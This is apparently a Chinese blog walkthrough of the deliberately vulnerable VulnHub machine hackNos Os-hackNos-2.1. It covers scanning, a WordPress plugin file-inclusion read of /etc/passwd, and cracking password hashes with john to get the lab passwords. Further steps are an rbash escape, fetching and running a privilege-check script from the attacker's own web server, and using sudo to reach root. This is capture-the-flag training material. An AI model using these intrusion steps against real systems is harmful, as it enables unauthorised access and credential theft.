Bootstrap

『VulnHub』hackNos: Os-hackNos-2.1-Walkthrough

这是我完成的VulnHub上的第38个靶机。

靶机地址](https://www.vulnhub.com/entry/hacknos-os-hacknos-21,403/)

难度:简单-中等

靶机发布日期:2019年11月29日

在这里插入图片描述

靶机描述:Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : Web Application | Enumeration | Password Cracking
Changelog - 2019-12-13 ~ v1.1 - 2019-11-29 ~ v1.0

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • searchsploit
  • wpscan
  • john
  • LFI漏洞
  • rbash逃逸

0x00、信息收集

靶机IP:192.168.56.101

nmap -sn 192.168.56.0/24

在这里插入图片描述

端口和服务

nmap -sS -T5 -A -p- 192.168.56.101

在这里插入图片描述

页面、目录枚举

gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip ## 没结果
gobuster dir -u http://192.168.56.101 -w ~/Desktop/SecLists/Discovery/Web-Content/raft-large-directories.txt -x .php,.txt,.html,.zip,.bak ## 字典是Github上的SecLists

在这里插入图片描述

在这里插入图片描述

通过插件Wappalyzer发现是WordPress

在这里插入图片描述

查看网站的过程中发现有些图片没有加载成功,并且还有一个链接指向了hacknos.ova。在/etc/hosts文件中添加了如下记录后,可正常显示图片。

在这里插入图片描述

由于网站是WordPress模板创建的,所以先用wpscan扫描一下,发现使用了存在LFI漏洞的插件。

在这里插入图片描述

直接访问https://www.exploit-db.com/exploits/46537查看PoC。包含一下/etc/passwd,发现flag用户的加密密码$1$flag$vqjCxzjtRc7PofLYS2lWf/,从密文中的$1$可以知道这里使用的加密算法是md5。还有两个信息:用户rohit;flag用户的默认shell是rbash,这个后面可能需要进行逃逸。

下面使用john对密码进行爆破。john支持的破解的加密算法(说是加密算法可能不够准确)如下图所示:

在这里插入图片描述

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

在这里插入图片描述

0x01、权限提升

使用flag:topsecret通过SSH登录靶机,发现cd命令无法使用,因为当前用户的shell是rbash。这是一个命令受限的shell。想到之前做过的一个靶机『VulnHub系列』Gears of War: EP#1-Walkthrough使用了一个比较方便的逃逸rbash的方法,这里直接拿来用。

ssh [email protected] -t "bash --noprofile"

在这里插入图片描述

2020-01-23更新:新增:basic-linux-privilege-escalation

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

查找sudo权限命令,提示flag用户没有权限使用sudo命令。

sudo -l

SUID权限可执行文件,没有可用的

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

当前用户可写文件。我先把结果输出到文本文件,然后使用grep加上关键字去筛选。最后发现除了有数据库用户名和密码的wp-config.php这个配置文件外,其他的都没啥用。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys' /tmp/report.txt

查看计划任务,无。

cat /etc/crontab

内核版本。这里我没有尝试内核提权这种方式,有兴趣的童鞋可以试一下。

在这里插入图片描述

跑一下脚本,得到如下信息:

[-] Sudo version:
Sudo version 1.8.21p2
flag用户无法执行sudo命令。

[-] MYSQL version:
mysql Ver 14.14 Distrib 5.7.27, for Linux (x86_64) using EditLine wrapper
搜索之后发现当前版本不存在提权漏洞

/var/backups文件夹中存在一些备份文件,然后就到这个文件夹下面看了看,最后发现了用户的密码的备份文件。因为密文的salt是rohit,所以猜测这个密文对应的就是rohit的密码。

在这里插入图片描述

在这里插入图片描述

继续使用john爆破一下密码,得到!%hack41,测试之后发现确实是rohit用户的密码。

在这里插入图片描述

执行sudo -l命令之后发现,能够以root权限执行命令,直接sudo su -切换到root用户。

在这里插入图片描述

如果你有其他的方法,欢迎留言。若文中有任务错误,恳请批评指正!!!

;